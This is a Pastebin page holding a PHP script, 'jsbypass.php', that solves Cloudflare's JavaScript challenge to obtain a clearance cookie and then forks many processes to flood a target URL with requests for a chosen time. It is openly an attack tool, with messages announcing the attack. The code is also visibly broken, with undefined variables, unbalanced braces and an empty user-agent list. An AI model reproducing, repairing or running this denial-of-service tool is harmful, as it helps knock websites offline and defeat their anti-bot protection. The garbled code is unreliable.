xunilix

jsbypass.php

Jun 4th, 2016
9,833
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.50 KB | None | 0 0
  1. <?PHP
  2. error_reporting(0);
  3. function multiequation($string) {
  4. preg_match("/\)\+\(/", $string, $data);
  5. if ($data == NULL) {
  6. return false; }
  7. else{return true;}}function rand_line($fileName, $maxLineLength = 4096) {
  8. $handle = @fopen($fileName, "r");
  9. if ($handle) {
  10. $random_line = null;
  11. $line = null;
  12. $count = 0;
  13. while (($line = fgets($handle, $maxLineLength)) !== false) {
  14. $count++;
  15. if(rand() % $count == 0) {
  16. $random_line = $line;}}
  17. if (!feof($handle)) {
  18. echo "Erreur404 : Unexpected\n";
  19. fclose($handle);
  20. return null;
  21. } else {
  22. fclose($handle);}
  23. return $random_line;}}    
  24. function cfbypass($domain, $useragent){
  25. $rd = explode("/", $domain);
  26. $tlen = strlen($rd[2]);
  27. $array = array();
  28. $data = curl_exec($cURL);
  29. preg_match("/var t,r,a,f,(.*?)\"/", $data, $jschl_vc);
  30. preg_match("/setTimeout\(function\(\){(.*?);a\.value/s", $data, $vars);
  31. $full = trim($vars[1]);
  32. preg_match("/var t,r,a,f,(.*?):/", $full, $mainvar);
  33. $mvar = explode("=", trim($mainvar[1]));
  34. preg_match("/\"(.*?)\"/", $mvar[1], $v2);
  35. $fvar = "".$mvar[0].".".$v2[1]."";
  36. list($line1) = explode("\n", $full);
  37. $equation1 = explode(":", $line1);
  38. preg_match_all("/\((.*?)\)/", $equation1[1], $eq1m, PREG_SET_ORDER);
  39. $count = count($eq1m);if ($count == 0) {
  40. $lmao = explode("}", $equation1[1]);
  41. $yolo = explode("+", $lmao[0]);
  42. $nc = 0; foreach ($yolo as $int){
  43. if ($int == "!" || $int == "!![]" || $int == "![]") {$nc++;}}
  44. $ans1 = "$nc\n";}else{foreach ($eq1m as $eq) {
  45. if (substr($eq[1], 0, 1) == "(") {
  46. $furl = substr($eq[1], 1);$yolo1 = explode("+", $furl);
  47. $mc = 0;foreach ($yolo1 as $int1) {
  48. if ($int1 == "!" || $int1 == "!![]" || $int1 == "![]") {$mc++;}}}else{
  49. $yolo2 = explode("+", $eq[1]);$mc1 = 0;
  50. foreach ($yolo2 as $int2) {
  51. if ($int2 == "!" || $int2 == "!![]" || $int2 == "![]") {$mc1++;}}}}$ans1 = "$mc$mc1\n";}
  52. preg_match("/$fvar(.*?);a\.value/s", $data, $NowWeActuallyStart);
  53. $itbegins = explode(";", $NowWeActuallyStart[1]);
  54. foreach ($itbegins as $begin) {
  55. $first = substr($begin, 0, 1);
  56. if (!ctype_alpha($first)) {
  57. $operator = substr($begin, 0, 3);
  58. $top = substr($begin, 0);
  59. $lick = "".$fvar."".$top."";
  60. $mathit = explode("=", $lick);
  61. $oper = substr($operator, 0, 1);
  62. $solve1 = explode("+", $mathit[1]);$c1 = 0;
  63. foreach ($lastlast1 as $me21) {
  64. if ($me21 == "!" || $me21 == "!![]" || $me21 == "![]") {
  65. $ending1++;}}}}
  66. $fanswer1 = "".$soclose1."".$ending1."";
  67. array_push($array, "$fanswer1$oper");
  68. }}else{$operator = substr($begin, strlen($fvar), 3);
  69. $top = substr($begin, 0);
  70. $oper = substr($operator, 0, 1);
  71. $mathit = explode("=", $begin);
  72. $solve2 = explode("+", $mathit[1]);
  73. $c21 = 0;
  74. if (multiequation($mathit[1]) == FALSE){
  75. foreach ($solve2 as $boolv2){
  76. if ($boolv2 == "!" || $boolv2 == "!![]" || $boolv2 == "![]") {$c21++;}}
  77. array_push($array, "$c21$oper");
  78. } else if (multiequation($mathit[1]) == TRUE) {
  79. $swag = explode(")+(", $mathit[1]);
  80. foreach ($swag as $swiggity) {
  81. $first = substr($swiggity, 0, 3);
  82. if ($first == "+((") {
  83. $new = substr($swiggity, 3);
  84. $firstlast = explode("+", $new);
  85. $soclose = 0;
  86. foreach ($firstlast as $me1) {
  87. if ($me1 == "!" || $me1 == "!![]" || $me1 == "![]") {
  88. $soclose++; }}} else {$new2 = substr($swiggity, 0, -2);
  89. $lastlast = explode("+", $new2);
  90. $ending = 0;
  91. foreach ($lastlast as $me2) {
  92. if ($me2 == "!" || $me2 == "!![]" || $me2 == "![]") {
  93. $ending++;}}}}$fanswer = "".$soclose."".$ending."";
  94. array_push($array, "$fanswer$oper");}}}
  95. $FINALLY = $ans1;
  96. foreach($array as $element) {
  97. $method = substr($element, -1);
  98. $number = substr($element, 0, -1);
  99. if ($method == "+") {
  100. $FINALLY += $number; } else if ($method == "-") {
  101. $FINALLY -= $number; } else if ($method == "*") { $FINALLY = $FINALLY * $number; }}
  102. $tba = ($FINALLY + $tlen);
  103. preg_match("/jschl_vc\" value=\"(.*?)\"/", $data, $cid);
  104. preg_match("/pass\" value=\"(.*?)\"/", $data, $pass);
  105. $url = "".$domain."cdn-cgi/l/chk_jschl?jschl_vc=$cid[1]&pass=$pass[1]&jschl_answer=$tba";
  106. usleep(3500000);
  107. $check = curl_init();
  108. curl_setopt($check, CURLOPT_URL, $url);
  109. curl_setopt($check, CURLOPT_RETURNTRANSFER, true);
  110. curl_setopt($check, CURLOPT_FOLLOWLOCATION, true);
  111. curl_setopt($check, CURLOPT_USERAGENT, $useragent);
  112. curl_setopt($check, CURLOPT_HEADER, 1);
  113. curl_setopt($check, CURLOPT_COOKIEFILE, "cookie.txt");
  114. $data2 = curl_exec($check);
  115. preg_match_all('/^Set-Cookie:\s*([^\r\n]*)/mi', $data2, $ms); $cookies = array();
  116. foreach ($ms[1] as $m){
  117. list($name, $value) = explode('=', $m, 2);
  118. $cookies[$name] = $value;}
  119. return $bypasscookie; }
  120. if($argc != 4) {
  121. echo "Utilisation : php $argv[0] http://example.com/ <Threads> <Temps>\n";
  122. die(); } $end = time() + $argv[3]; $useragents;    
  123. $childcount = $argv[2];
  124. echo "Attaque Lancer sur $argv[1] pendant $argv[3] Seconds !\n";
  125. $UA = $useragents[array_rand($useragents)];
  126. $clearence_cookie = cfbypass($argv[1], $UA);
  127. if (stripos($clearence_cookie, "cf_clearance")) {
  128. echo "Cookie Spamed : $clearence_cookie\n\nBypass Réussie, attaque en cours...\n";
  129. sleep(1);
  130. }else{ echo "ByPass Failed :/ !\n";die();}
  131. for($i = 0; $i < $childcount; $i ++)
  132. {
  133. $pid = pcntl_fork();
  134. if ($pid == -1) { echo "Erreur404\n"; exit; } else if ($pid) {
  135. continue; }else{ while($end > time()) {
  136. $dedaws = curl_init();
  137. curl_setopt($dedaws, CURLOPT_URL, ''.$argv[1].'?'.uniqid().'');
  138. curl_setopt($dedaws, CURLOPT_RETURNTRANSFER, true);
  139. curl_setopt($dedaws, CURLOPT_FOLLOWLOCATION, false);
  140. curl_setopt($dedaws, CURLOPT_USERAGENT, $UA);
  141. curl_setopt($dedaws, CURLOPT_COOKIE, $clearence_cookie);
  142. $data2 = curl_exec($dedaws);curl_close($dedaws);}die;}}for($j = 0; $j < $childcount; $j++){$pid = pcntl_wait($status);}
  143. #Fake
Advertisement
Add Comment
Please, Sign In to add comment